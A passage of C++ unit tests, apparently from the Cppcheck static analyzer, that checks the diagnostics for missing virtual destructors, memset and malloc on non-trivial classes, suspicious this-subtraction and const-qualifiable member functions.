ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n 